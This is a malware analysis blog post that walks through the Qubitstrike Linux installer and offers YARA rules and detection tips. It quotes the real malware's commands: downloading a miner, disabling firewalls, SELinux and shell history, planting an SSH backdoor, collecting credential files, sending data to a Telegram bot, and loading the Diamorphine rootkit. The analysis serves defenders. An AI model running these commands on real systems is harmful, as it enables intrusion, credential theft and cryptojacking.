$r00tkit = &#34;r00tkit&#34;&#xA;    $r00tk1t = &#34;r00tk1t&#34;&#xA;    $trojan = &#34;trojan&#34;&#xA;    $Trojan = &#34;Trojan&#34;&#xA;    $tr0jan = &#34;tr0jan&#34;&#xA;  condition:&#xA;    any of them&#xA;}&#xA;&#xA;This simple rule to detect usermode rootkits caught the prochide.c:&#xA;&#xA;rule userspaceprocesshider {&#xA;  strings:&#xA;    $prochide = &#34;processhide&#34;&#xA;    $proctofilter = &#34;processtofilter&#34;&#xA;    $readdiroverride = &#34;originalreaddir&#34;&#xA;  condition:&#xA;    any of them&#xA;}&#xA;&#xA;The python-dev xmrig program triggered 8 different rules. I&#39;ll share one of the more creative ones:&#xA;&#xA;rule probablyalinuxminer {&#xA;  strings:&#xA;    $argon = &#34;argon2d&#34;&#xA;    $proc_self = &#34;/proc/self&#34;&#xA;    $numa = &#34;NUMA&#34;&#xA;  condition:&#xA;    all of them&#xA;}&#xA;&#xA;If you want to see some YARA queries specifically tuned for finding Linux rootkits, dmknght/rkcheck is a good reference.&#xA;&#xA;Detecting using gut instinct&#xA;&#xA;If you ever see a host with a load of 5.0+ and no high-CPU processes, chances are you have been infected with a hidden crypto-miner. No rootkit I&#39;ve seen on Linux attempts to manipulate load values.&#xA;&#xA;Wrapping Up&#xA;&#xA;I hope you had fun through this tour. If you have any questions or malware samples to share, feel free to contact me at thomas(%2b)stromberg.org]]&gt;</description>
      <content:encoded><![CDATA[<p>Earlier this week, I stumbled into <a href="https://www.cadosecurity.com/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks/">Cado&#39;s report on Qubitstrike</a>, an attack on publicly accessible <a href="https://jupyter.org/">Jupyter notebook</a> installations. Unlike most security reports, the hosted malware files were still available, which meant I could analyze and validate our defenses against it. Normally, I don&#39;t get this opportunity to study emerging threats, as I&#39;m not paying the $20,000/yr paywall fee for access to Google&#39;s VirusTotal service that most researchers seem to rely on.</p>

<p><img src="https://i.snap.as/KuU2dMIe.webp" alt=""/></p>



<p>I really like QubitStrike: it has a bit of everything and is easy to dissect. The most exciting thing about it is that it&#39;s the first example I&#39;ve seen of casual attackers employing a kernel rootkit that actually works on the latest versions of popular Linux distributions. Let&#39;s take a tour!</p>

<h2 id="the-qubitstrike-installer" id="the-qubitstrike-installer">The Qubitstrike Installer</h2>

<p>If you ever wanted to study how your modern malware installer operates on Linux, the Qubitstrike installer script is the perfect case study for you – it&#39;s like a tasting tour of UNIX malware techniques in a single easy-to-read shell script.</p>
<ul><li>Two Linux rootkits (kernel and user-mode)</li>
<li>Process hiding</li>
<li>Credential theft</li>
<li>An SSH backdoor</li>
<li>A viral component</li>
<li>A cryptocurrency miner</li>
<li>Telegram integration</li></ul>

<p>To follow along, I&#39;ve posted a copy of the original installer script here: <a href="https://github.com/tstromberg/malware-menagerie/blob/main/linux/2023.Trojan_Miner.QubitStrike/installer/mi.sh">mi.sh</a>. If you want to test the installer yourself within a VM, I&#39;ve made a defanged copy of it that works without downloading content from codeberg: <a href="https://github.com/tstromberg/malware-menagerie/blob/main/linux/2023.Trojan_Miner.QubitStrike/local_installer/local-mi.sh">local-mi.sh</a></p>

<h3 id="installer-initialization" id="installer-initialization">Installer Initialization</h3>

<pre><code class="language-shell">miner_url=&#34;https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz&#34;
miner_name=&#34;python-dev&#34;
killer_url=&#34;https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh&#34;
kill_url2=&#34;https://codeberg.org/m4rt1/sh/raw/branch/main/kill_loop.sh&#34;
pool=&#34;pool.hashvault.pro:80&#34;
MD5=&#34;199b790d05724170f3e6583500799db1&#34;
DIR=&#34;/usr/share/.LQvKibDTq4&#34;
RSA=&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#34;
[[ $EUID -eq 0 ]] || DIR=&#34;/tmp/.LQvKibDTq4&#34; ;
</code></pre>

<p>Even the initialization part of the script contains multiple detection opportunities, as the following things are highly irregular to find in executables or shell scripts:</p>
<ul><li>References to <code>codeberg.org/.*/raw/</code></li>
<li>References to <code>hashvault</code> or <code>miner_</code></li>
<li>References to hidden <code>/usr/share</code> and <code>/tmp</code> directories</li>
<li>SSH keys</li></ul>

<h3 id="fetch-tools" id="fetch-tools">Fetch Tools</h3>

<p><img src="https://i.snap.as/jsHYhB4p.png" alt=""/></p>

<p>I&#39;m now going to show the installer output in <a href="https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_02_03.html">debug mode (using <code>bash -x)</code></a>, as it usually makes the behavior easier to discern. If you are on a Linux distro that has “apt”, “yum”, or “apk” package manager available, the script will install curl or wget for you:</p>

<pre><code class="language-shell">---------------------------------------
 INSTALLING WGET, CURL ...
---------------------------------------
+ type apt
+ apt-get update --fix-missing
Hit:1 http://archive.ubuntu.com/ubuntu lunar InRelease                   
Hit:2 http://security.ubuntu.com/ubuntu lunar-security InRelease         
Hit:3 http://archive.ubuntu.com/ubuntu lunar-updates InRelease           
Hit:4 http://archive.ubuntu.com/ubuntu lunar-backports InRelease
Reading package lists... Done
+ apt-get install wget curl -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
wget is already the newest version (1.21.3-1ubuntu1).
curl is already the newest version (7.88.1-8ubuntu2.3).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
</code></pre>

<p>A script or executable containing “apt-get install wget curl -y” is probably malware, so it&#39;s not a bad thing to alert on. Once a fetch tool is installed, it moves it to a new location to break future attackers, as well as bypass detection queries that look for <code>wget</code> or <code>curl</code>:</p>

<pre><code class="language-shell">---------------------------------------
 Replacing WGET, CURL ...
---------------------------------------
+ sleep 1s
+ [[ -f /usr/bin/wget ]]
+ mv /usr/bin/wget /usr/bin/zget
+ [[ -f /usr/bin/curl ]]
+ mv /usr/bin/curl /usr/bin/zurl
+ [[ -f /bin/wget ]]
+ [[ -f /bin/curl ]]
++ command -v zget
+ [[ -x /usr/bin/zget ]]
+ req=&#39;zget -q -O -&#39;
+ DLr=&#39;zget -O&#39;
</code></pre>

<p>Then we use the newly renamed fetch tool to query for our Internet IP using <a href="https://ifconfig.me/">ifconfig.me</a>. The script later uses this value as a client ID:</p>

<pre><code>++ zget -q -O - ifconfig.me
+ client=136.54.68.146
</code></pre>

<h3 id="the-restart-argument" id="the-restart-argument">The “restart” argument</h3>

<p>Curiously, the installer supports a <code>restart</code> argument, which provides a handy way to re-set up an infected host. It also gives you a starting point to sort out how to clean up an infected host, though it doesn’t seem to do anything about the kernel rootkit or other system-level changes:</p>

<pre><code>    chattr -R -i /usr/share/.LQvKibDTq4/
    rm -rf /usr/share/.LQvKibDTq4/
    rm -rf /tmp/.LQvKibDTq4/
    rm -rf /usr/share/.28810
    rm -rf /etc/cron.d/netns
    chattr -i /etc/ld.so.preload
    chattr -i /usr/local/lib/libnetresolv.so
    rm -rf /usr/local/lib/libnetresolv.so /etc/ld.so.preload
    pkill -f python-dev
    pkill python-dev
    killall python-dev
    mkdir -p $DIR
    start
</code></pre>

<h3 id="begin-disable-security" id="begin-disable-security">Begin Disable Security</h3>

<p>Now things get serious, as the malware begins by actively degrading the security posture of the Linux host:</p>

<pre><code class="language-shell">---------------------------------------
 Begin disable security 
---------------------------------------
+ cover
+ iptables -F
+ systemctl stop firewalld
+ systemctl disable firewalld
</code></pre>

<p>At this point, it has flushed all existing iptables firewall rules and killed off the <a href="https://firewalld.org/">firewalld firewall manager</a> (used mainly by Red Hat). Next, the script increases the file descriptor count from a typical value of 1024 to 65535 for reasons I&#39;m not quite sure of.</p>

<pre><code class="language-shell">+ ulimit -n 65535
</code></pre>

<p>Then, it begins disabling the shell command history. First, by hiding all commands that begin with a with a “ ” character:</p>

<pre><code class="language-shell">+ HISTCONTROL=ignorespace
</code></pre>

<p><img src="https://i.snap.as/qkVrmeCD.jpg" alt=""/></p>

<p>HISTCONTROL=ignorespace is an entirely new feature to me (<a href="https://unix.stackexchange.com/questions/115934/why-does-bash-have-a-histcontrol-ignorespace-option">why does it even exist?</a>). The script then disables the history file altogether via a variety of mechanisms, making that setting useless anyways.</p>

<pre><code>+ export HISTFILE=/dev/null
+ unset HISTFILE
+ shopt -ou history
+ set +o history
+ HISTSIZE=0
</code></pre>

<p>If you are not already alerting on programs executing with these HIST* values, you should begin today. These values are rarely seen outside of malware, particularly HISTFILE=/dev/null. Next, the installer disables SELinux, which should be causing alarms to go off:</p>

<pre><code>+ setenforce 0
+ echo SELINUX=disabled
</code></pre>

<p>Next, Qubitstrike disables the Linux kernel <a href="https://medium.com/@yildirimabdrhm/nmi-watchdog-on-linux-ae3b4c86e8d8">NMI watchdog</a> for what I have to assume are performance reasons – as it decreases the amount of non-maskable interrupts on the system. Perhaps it also decreases the chances that the host will reboot due to a misbehaving crypto miner:</p>

<pre><code>+ sysctl kernel.nmi_watchdog=0
+ sysctl kernel.nmi_watchdog=0
+ echo &#39;0&#39; &gt;/proc/sys/kernel/nmi_watchdog
+ echo &#39;kernel.nmi_watchdog=0&#39; &gt;&gt;/etc/sysctl.conf
</code></pre>

<p>More detection opportunities: calls to sysctl, edits to /proc/sys/kernel, and edits to /etc/sysctl.conf. The next thing the installer does in its preparation is modify the system&#39;s DNS resolvers. This is a great way to bypass malware detection that requires a local or custom DNS server and improve reliability if the system does not have a stable DNS server defined.</p>

<pre><code>grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2&gt;/dev/null 1&gt;/dev/null; echo &#34;nameserver 8.8.8.8&#34; &gt;&gt; /etc/resolv.conf;
grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2&gt;/dev/null 1&gt;/dev/null; echo &#34;nameserver 8.8.4.4&#34; &gt;&gt; /etc/resolv.conf;
</code></pre>

<h3 id="squeezing-out-the-competition" id="squeezing-out-the-competition">Squeezing out the competition</h3>

<p><img src="https://i.snap.as/kSYk4Avb.webp" alt=""/></p>

<p>The firewall rules are reprogrammed to drop packets to and from competing miners:</p>

<pre><code class="language-shell">    iptables -A OUTPUT -p tcp --dport 3333 -j DROP &gt; /dev/null 2&gt;&amp;1
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP &gt; /dev/null 2&gt;&amp;1
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP &gt; /dev/null 2&gt;&amp;1
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP &gt; /dev/null 2&gt;&amp;1
    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP &gt; /dev/null 2&gt;&amp;1
    iptables -A OUTPUT -p tcp --dport 10343 -j DROP &gt; /dev/null 2&gt;&amp;1
    iptables -A OUTPUT -p tcp --dport 10300 -j DROP &gt; /dev/null 2&gt;&amp;1
</code></pre>

<p>To further squeeze out the competition, Qubitstrike then begins killing off any process that consumes more than 99% CPU, as well as nuking known miner processes by name:</p>

<pre><code class="language-shell">proc_kl() {
  # KILL any bproc with 99% CPU
  ps aux | grep -vw python-dev | awk &#39;{if($3&gt;99.0) print $2}&#39; | while read procid
  do
    kill -9 $procid
  done

  chattr -i etc/ld.so.preload &gt; /dev/null 2&gt;&amp;1
  rm -rf /etc/ld.so.preload &gt; /dev/null 2&gt;&amp;1

  list1=(\.Historys neptune xm64 xmrig suppoieup &#39;*.jpg&#39; &#39;*.jpeg&#39; &#39;/tmp/*.jpg&#39; &#39;/tmp/*/*.jpg&#39; &#39;/tmp/*.xmr&#39; &#39;/tmp/*xmr&#39; &#39;/tmp/*/*xmr&#39; &#39;/tmp/*/*/*xmr&#39; &#39;/tmp/*nanom&#39; &#39;/tmp/*/*nanom&#39; &#39;/tmp/*dota&#39; &#39;/tmp/dota*&#39; &#39;/tmp/*/dota*&#39; &#39;/tmp/*/*/dota*&#39;,&#39;chron-34e2fg&#39;)

  list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota)

  list3=(&#39;/tmp/sscks&#39; &#39;./crun&#39; &#39;:3333&#39; &#39;:5555&#39; &#39;log_&#39; &#39;systemten&#39; &#39;netns&#39; &#39;voltuned&#39; &#39;darwin&#39; &#39;/tmp/dl&#39; &#39;/tmp/ddg&#39; &#39;/tmp/pprt&#39; &#39;/tmp/ppol&#39; &#39;/tmp/65ccE&#39; &#39;/tmp/jmx*&#39; &#39;/tmp/xmr*&#39; &#39;/tmp/nanom*&#39; &#39;/tmp/rainbow*&#39; &#39;/tmp/*/*xmr&#39; &#39;http_0xCC030&#39; &#39;http_0xCC031&#39; &#39;http_0xCC033&#39; &#39;C4iLM4L&#39; &#39;/boot/vmlinuz&#39; &#39;nqscheduler&#39; &#39;/tmp/java&#39; &#39;gitee.com&#39; &#39;kthrotlds&#39; &#39;ksoftirqds&#39; &#39;netdns&#39; &#39;watchdogs&#39; &#39;/dev/shm/z3.sh&#39; &#39;kinsing&#39; &#39;/tmp/l.sh&#39; &#39;/tmp/zmcat&#39; &#39;/tmp/udevd&#39; &#39;sustse&#39; &#39;mr.sh&#39; &#39;mine.sh&#39; &#39;2mr.sh&#39; &#39;cr5.sh&#39; &#39;luk-cpu&#39; &#39;ficov&#39; &#39;he.sh&#39; &#39;miner.sh&#39; &#39;nullcrew&#39; &#39;xmrigDaemon&#39; &#39;xmrig&#39; &#39;lolminer&#39; &#39;xmrigMiner&#39; &#39;xiaoyao&#39; &#39;kernelcfg&#39; &#39;xiaoxue&#39; &#39;kernelupdates&#39; &#39;kernelupgrade&#39;  &#39;107.174.47.156&#39; &#39;83.220.169.247&#39; &#39;51.38.203.146&#39; &#39;144.217.45.45&#39; &#39;107.174.47.181&#39; &#39;176.31.6.16&#39; &#39;mine.moneropool.com&#39; &#39;pool.t00ls.ru&#39; &#39;xmr.crypto-pool.fr:8080&#39; &#39;xmr.crypto-pool.fr:3333&#39; &#39;zhuabcn@yahoo.com&#39; &#39;monerohash.com&#39; &#39;xmr.crypto-pool.fr:6666&#39; &#39;xmr.crypto-pool.fr:7777&#39; &#39;xmr.crypto-pool.fr:443&#39; &#39;stratum.f2pool.com:8888&#39; &#39;xmrpool.eu&#39;)

  list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer)

  if type killall &gt; /dev/null 2&gt;&amp;1; then
    for k1 in &#34;${list1[@]}&#34; ; do killall $k1 ; done
  fi

  for k2 in &#34;${list2[@]}&#34; ; do pgrep $k2 | xargs -I % kill -9 % ; done
  for k3 in &#34;${list3[@]}&#34; ; do ps auxf | grep -v grep | grep $k3 | awk &#39;{print $2}&#39; | xargs -I % kill -9 % ; done
  for k4 in &#34;${list4[@]}&#34; ; do pkill -f $k4 ; done
}
</code></pre>

<p>If you are looking for crypto miners, that&#39;s a good list of unusual processes and command-line strings to watch for! Next, the installer kills off any process with an outgoing connection to what are likely standard miner ports, but 143 (<a href="https://datatracker.ietf.org/doc/html/rfc3501">IMAP</a>), 3389 (<a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol">Remote Desktop</a>), and 6667 (<a href="https://en.wikipedia.org/wiki/IRCd">ircd</a>) stand out to me.</p>

<pre><code class="language-shell">list=(&#39;:1414&#39; &#39;127.0.0.1:52018&#39; &#39;:143&#39; &#39;:3389&#39; &#39;:4444&#39; &#39;:5555&#39; &#39;:6666&#39; &#39;:6665&#39; &#39;:6667&#39; &#39;:7777&#39;  &#39;:3347&#39; &#39;:14444&#39; &#39;:14433&#39; &#39;:13531&#39; &#39;:15001&#39; &#39;:15002&#39;)
for k in &#34;${list[@]}&#34; ; do netstat -anp | grep $k | awk &#39;{print $7}&#39; | awk -F&#39;[/]&#39; &#39;{print $1}&#39; | grep -v &#34;-&#34; | xargs -I % kill -9 % ; done
netstat -antp | grep &#39;46.243.253.15&#39; | grep &#39;ESTABLISHED\|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.*//g&#34; | xargs -I % kill -9 %
netstat -antp | grep &#39;176.31.6.16&#39; | grep &#39;ESTABLISHED\|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.*//g&#34; | xargs -I % kill -9 %
netstat -antp | grep &#39;108.174.197.76&#39; | grep &#39;ESTABLISHED\|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.*//g&#34; | xargs -I % kill -9 %
netstat -antp | grep &#39;192.236.161.6&#39; | grep &#39;ESTABLISHED\|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.*//g&#34; | xargs -I % kill -9 %
netstat -antp | grep &#39;88.99.242.92&#39; | grep &#39;ESTABLISHED\|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.*//g&#34; | xargs -I % kill -9 %
</code></pre>

<h2 id="makin-with-xmrig" id="makin-with-xmrig">Makin&#39; $$$ with XMRig</h2>

<p>The install script increases the number of <a href="https://wiki.debian.org/Hugepages">hugepages</a> (typically 0) to 128. I’m most familiar with this optimization for things like Oracle Databases, but it also allegedly offers a <a href="https://xmrig.com/docs/miner/hugepages">20-30% boost for some types of cryptocurrency mining</a>.</p>

<pre><code class="language-shell">---------------------------------------
 setup hugepages 
---------------------------------------
+ hugepages
+ sysctl -w vm.nr_hugepages=128
vm.nr_hugepages = 128
+ echo vm.nr_hugepages=128 &gt; /etc/sysctl.conf
</code></pre>

<p>Any program that references vm.nr<em>hugepages should be considered a possible crypto miner. For more confirmation, combine it with a check for kernel.nmi</em>watchdog.</p>

<p>Once the appropriate sysctl values are set, the script fetches and starts the miner:</p>

<pre><code class="language-shell">+ zurl -o /usr/share/.LQvKibDTq4/xm.tar.gz https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz
+ tar -xf /usr/share/.LQvKibDTq4/xm.tar.gz -C /usr/share/.LQvKibDTq4
+ rm -rf /usr/share/.LQvKibDTq4/xm.tar.gz
+ chmod +x /usr/share/.LQvKibDTq4/config.json /usr/share/.LQvKibDTq4/python-dev
+ /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90
</code></pre>

<p>Unsurprisingly, the program is <a href="https://xmrig.com/"><code>XMRig</code></a> – the most popular option for invasive cryptocurrency miners. It&#39;s disappointing that the archive only contains an x86_64 binary, but the installer script never checks for the machine architecture. The attacker may have done that step manually within <a href="https://jupyter.org/">Jupyter</a>. It was a nice touch that the script author limited the CPU usage to 90% to avoid detection.</p>

<h2 id="installing-the-backdoor" id="installing-the-backdoor">Installing the backdoor</h2>

<p>Rather than implementing its own detectable backdoor, QubitStrike makes the wise decision to use <a href="https://www.openssh.com/">OpenSSH</a>, which is already likely on the system. This works nicely since we already know from the attack profile that the machine is on the Internet, and we&#39;ve already flushed the firewall that may have prevented external SSH access.</p>

<p><img src="https://i.snap.as/l4InqXJW.jpg" alt=""/></p>

<p>The attacker plugs in their SSH credentials (likely from a <a href="https://www.kali.org/">Kali Linux</a> machine), disables the <a href="https://en.wikipedia.org/wiki/TCP_Wrappers">tcpwrapper</a> controls, reconfigures sshd to allow remote root login, and starts it up. I&#39;m not sure what the “Port 78” reference is all about, but I assume they are disabling a backdoor configuration from a competing crypto miner.</p>

<pre><code class="language-shell">---------------------------------------
 SSH setup  
---------------------------------------
+ ssh_get
+ &#39;[&#39; -f /root/.ssh/authorized_keys &#39;]&#39;
+ chattr -aui /root/.ssh/authorized_keys
+ grep -q &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#39; /root/.ssh/authorized_keys
+ echo &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#39;
+ chattr -aui /etc/ssh
+ chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow
+ echo
+ echo
+ mkdir -p /etc/ssh
+ sed -i -e &#39;s/Port 78//g&#39; -e &#39;s/\#Port 22/Port 22/g&#39; -e &#39;s/\#PermitRootLogin/PermitRootLogin/g&#39; -e &#39;s/PermitRootLogin no/PermitRootLogin yes/g&#39; -e &#39;s/PubkeyAuthentication no/PubkeyAuthentication yes/g&#39; -e &#39;s/PasswordAuthentication yes/PasswordAuthentication no/g&#39; /etc/ssh/sshd_config
+ chmod 600 /etc/ssh/sshd_config
+ systemctl restart ssh||service ssh restart||/etc/init.d/ssh restart||/etc/init.d/sshd restart||/etc/rc.d/sshd restart||service sshd restart||scw-fetch-ssh-keys --upgrade
</code></pre>

<h3 id="phoning-home" id="phoning-home">Phoning home</h3>

<p><img src="https://i.snap.as/7P7847lO.jpg" alt=""/></p>

<p>Qubitstrike collects some information about the health of the miner and the backdoor and then sends it to a <a href="https://telegram.org/">Telegram</a> channel:</p>

<pre><code class="language-shell">+ service ssh status
+ &#39;[&#39; 0 -eq 0 &#39;]&#39;
+ SSH_Ld=true
+ grep python-dev
+ grep -v grep
+ ps aux
root        4088  192  0.1  42216  4768 ?        Ssl  18:24   0:02 /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90
+ &#39;[&#39; 0 -eq 0 &#39;]&#39;
+ MINER_stat=running
+ DATA_STRING=&#39;IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running&#39;
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data &#39;text=IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running&#39; https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage
</code></pre>

<h3 id="credential-theft" id="credential-theft">Credential Theft</h3>

<p>The most disappointing part of the script is how it steals and sends credentials. Their approach is exceptionally slow: It crawls the filesystem separately for each credential type rather than using the find commands native support for finding multiple names. I blame the fin<a href="https://man7.org/linux/man-pages/man1/find.1.html">d command&#39;s bizarre syntax and poorly written documentation</a>, as it took me a couple of attempts to get it correct myself.</p>

<p><img src="https://i.snap.as/7Z1S4bxi.png" alt=""/></p>

<pre><code class="language-shell">+ CRED_FILE_NAMES=(&#34;credentials&#34; &#34;cloud&#34; &#34;.s3cfg&#34; &#34;.passwd-s3fs&#34; &#34;authinfo2&#34; &#34;.s3backer_passwd&#34; &#34;.s3b_config&#34; &#34;s3proxy.conf&#34; &#34;access_tokens.db&#34; &#34;credentials.db&#34; &#34;.smbclient.conf&#34; &#34;.smbcredentials&#34; &#34;.samba_credentials&#34; &#34;.pgpass&#34; &#34;secrets&#34; &#34;.boto&#34; &#34;.netrc&#34; &#34;.git-credentials&#34; &#34;api_key&#34; &#34;censys.cfg&#34; &#34;ngrok.yml&#34; &#34;filezilla.xml&#34; &#34;recentservers.xml&#34; &#34;queue.sqlite3&#34; &#34;servlist.conf&#34; &#34;accounts.xml&#34; &#34;azure.json&#34; &#34;kube-env&#34;)
+ for CREFILE in ${CRED_FILE_NAMES[@]}
+ find / -maxdepth 23 -type f -name credentials
+ xargs -I % sh -c &#39;echo :::%; cat %&#39;
</code></pre>

<p>Contrary to most credential theft malware, QubitStrike does not attempt to steal credentials for web browsers or wallets – the authors are clearly focused on acquiring more compute resources. I took a look on my own Linux workstation to see what sort of credentials this might pick up and found:</p>

<pre><code class="language-shell">/home/t/.config/gcloud/legacy_credentials/t@xyz.dev/.boto
/home/t/.config/gcloud/credentials.db
/home/t/.config/gcloud/access_tokens.db
</code></pre>

<p>After collection, the script sends the credentials home via a second Telegram message:</p>

<pre><code class="language-shell">++ cat /tmp/creds
+ SECRETS=
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data text= https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage
+ cat /tmp/creds
+ rm /tmp/creds
</code></pre>

<p>Safety reminder: never mount your personal home directory to your malware VMs, as the find command would have traversed filesystems to discover and upload your credentials.</p>

<h2 id="the-kernel-level-rootkit-diamorphine" id="the-kernel-level-rootkit-diamorphine">The kernel-level rootkit: Diamorphine</h2>

<p><img src="https://i.snap.as/8SIolL5k.png" alt=""/></p>

<p>Here&#39;s where Qubitstrike gets interesting. This is the first time I&#39;ve seen a casual miner with a Linux rootkit that works on a modern Ubuntu release:</p>

<pre><code class="language-shell">---------------------------------------
 Begin hiding 
---------------------------------------
+ ex_hid
+ hide1
+ ins_package
+ type apt
+ apt update -qq --fix-missing
46 packages can be upgraded. Run &#39;apt list --upgradable&#39; to see them.
++ uname -r
+ apt-get install -y -qq gcc make kmod wget net-tools linux-headers-6.2.0-27-generic -o Dpkg::Progress-Fancy=0 -o APT::Color=0 -o Dpkg::Use-Pty=0
...
+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/... | base64 -d
+ tar -xf /usr/share/.LQvKibDTq4/hf.tar -C /usr/share/.LQvKibDTq4/
+ cd /usr/share/.LQvKibDTq4
+ make
make -C /lib/modules/6.2.0-27-generic/build M=/usr/share/.LQvKibDTq4 modules
make[1]: Entering directory &#39;/usr/src/linux-headers-6.2.0-27-generic&#39;
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.o
  MODPOST /usr/share/.LQvKibDTq4/Module.symvers
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.mod.o
  LD [M]  /usr/share/.LQvKibDTq4/diamorphine.ko
  BTF [M] /usr/share/.LQvKibDTq4/diamorphine.ko
Skipping BTF generation for /usr/share/.LQvKibDTq4/diamorphine.ko due to unavailability of vmlinux
+ insmod diamorphine.ko
</code></pre>

